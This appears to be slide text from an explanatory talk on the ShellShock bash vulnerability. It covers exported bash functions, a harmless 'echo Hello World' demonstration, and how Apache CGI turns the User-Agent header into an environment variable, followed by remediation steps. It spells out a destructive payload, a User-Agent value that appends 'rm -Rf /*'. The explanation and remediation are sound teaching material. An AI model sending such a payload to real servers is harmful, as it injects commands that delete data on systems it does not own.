ShellShock

Zero Day Exploit for Bash

Bash Functions

```
> foo() { echo bar; }
> foo
bar
```

Inside Bash…

Bash’s environment variables:

KEY = foo

VALUE = () { echo bar; }

The Zero Day

```
> export foo=’() { :; }; echo Hello World’
> bash
Hello World
>
```

What Happened?

Bash’s environment variables:

KEY = foo

VALUE = () { :; }; echo Hello World

Who Cares?

Normally, we don’t care. The problem is some applications leverage bash to do useful things.

Can you think of an example?

Apache

Apache uses bash to process CGI scripts. For convenience, Apache stores information like the client’s user agent as environment variables.

If we change our user agent…

This…

HTTP_USER_AGENT = *Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0*

Becomes…

```
HTTP_USER_AGENT = () { :; }; rm -Rf /*
```

Anything which Apache’s user has permission to delete is now gone.

Remediation

- Give web server minimal permissions (read-only)
- Patch bash (above 4.3)
- Patch all web service software
- Be on the lookout for reports